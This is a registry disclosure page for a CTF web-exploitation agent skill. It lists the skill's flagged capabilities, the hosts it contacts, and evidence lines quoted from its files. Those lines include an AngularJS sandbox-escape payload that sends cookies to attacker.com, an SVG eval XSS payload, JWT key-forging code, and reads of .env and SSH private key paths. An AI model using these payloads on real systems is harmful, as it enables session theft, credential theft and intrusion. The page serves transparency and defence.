Sato Hub
← Skills

ctf-webskills.sh · ljagiello

9,395 installs

Provides web exploitation techniques for CTF challenges. Use when the target is primarily an HTTP application, API, browser client, template engine, identity flow, or smart-contract frontend/backend surface, including XSS, SQLi, SSTI, SSRF, XXE, JWT, auth bypass, file upload, request smuggling, OAuth/OIDC, SAML, prototype pollution, and similar web bugs. Do not use it for native binary memory corr

Executes fetched or decoded codeGenerates or handles private keysAsks the user to paste a credentialReads secret paths (~/.ssh, .env …)Registers the agent with a third-party hostSchedules itself to run repeatedly
Hosts contacted: target.comwebhook.sitetarget.com.evil.comevil.comauth.target.comsuspicious-subdomain.target.comattacker.comcdnjs.cloudflare.comyour-func-xxxxx.us-central1.run.appattacker.cloudfunctions.netadmin.example.invalidexample.comtrusted.comattacker.exampleportswigger.netexfil.comtarget.tldattacker.tldvulnerable.comtarget.onionlock.cmpxchg8b.com127.0.0.1.nip.io127.0.0.1.xip.iolocalhost.localdomainmetadata.google.internalhost.docker.internalschemas.openxmlformats.orgwww.w3.orgjava.sun.comattacker.burpcollaborator.net
Credentials it expects: SECRET_KEY
Evidence lines
  • executes_fetched_code — client-side.md: **Indirect eval scope escape:** `(0,eval)('code')` escapes `with(document)` scope restrictions.
  • executes_fetched_code — client-side.md: <svg/onload=(0,eval)('eval(avatar.slice(24))')>
  • executes_fetched_code — client-side.md: const func = eval(code.slice(0, -2));
  • executes_fetched_code — client-side.md: **Pattern:** AngularJS versions before 1.6 sandbox expressions to prevent arbitrary JavaScript execution in `{{ }}` bindings. The sandbox relies on `charAt` to
  • executes_fetched_code — client-side.md: {{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,window.location="http://attacker.com/"+document.cookie,a')}}
  • generates_or_handles_keys — auth-jwt.md: private_key = rsa.generate_private_key(65537, 2048, default_backend())
  • generates_or_handles_keys — auth-jwt.md: public_numbers = private_key.public_key().public_numbers()
  • generates_or_handles_keys — auth-jwt.md: forged = jwt.encode({"sub": "administrator"}, private_key, algorithm='RS256', headers={'jwk': jwk})
  • generates_or_handles_keys — auth-jwt.md: **Pattern (Break the Bank):** Application uses JWE (JSON Web Encryption) tokens instead of JWT. Public RSA key is exposed (e.g., via `/api/key`, `.well-known/jw
  • solicits_credentials — field-notes.md: Loose `==` performs type coercion: `0 == "string"` is `true`, `"0e123" == "0e456"` is `true` (magic hashes). Send JSON integer `0` to bypass string password che
  • reads_secret_paths — SKILL.md: - Check obvious metadata and helper paths early: `/robots.txt`, `/sitemap.xml`, `/.well-known/`, `/admin`, `/debug`, `/.git/`, `/.env`.
  • reads_secret_paths — cves.md: -e "SELECT load_file('/backup/id_rsa')"
  • reads_secret_paths — field-notes.md: - Common paths: `/robots.txt`, `/sitemap.xml`, `/.well-known/`, `/admin`, `/api`, `/debug`, `/.git/`, `/.env`
  • reads_secret_paths — server-side-advanced-2.md: /home/user/.ssh/id_rsa # SSH private keys
  • reads_secret_paths — server-side-advanced.md: GET /laravel../.env HTTP/1.1
  • registers_with_third_party — SKILL.md: curl -X POST https://target.com/api/report \
  • registers_with_third_party — client-side.md: curl -X POST 'https://target/report' \
  • schedules_persistence — auth-infra.md: Wait for automated logins (bots, cron scripts). Check audit logs for frequently-logging-in users — they likely have hardcoded credentials you can harvest.

Our disclosure is a static description of what the skill declares and does; it is not a safety verdict. Source record: www.skills.sh/ljagiello/ctf-skills/ctf-web.

Install

npx skills add ljagiello/ctf-skills@ctf-web

Copied from the registry's documented install form. Read the disclosure above first; it is the whole point of this page.

Observed record

First seen 2026-10-19. The weekly re-scan will record install growth and any change to the skill's content hash; one observation so far.

Cite this page

Sato Hub. "ctf-web — skill disclosure on Sato Hub." Sato Hub, updated 2026-10-23, accessed 2026-10-23. https://satohub.ai/skills/skillssh%3Aljagiello%2Fctf-skills%2Fctf-web

Data last refreshed 2026-10-23; this page is rebuilt daily. Citations carry the date so a reader can tell which snapshot a claim came from. Catalog data is licensed CC-BY-4.0.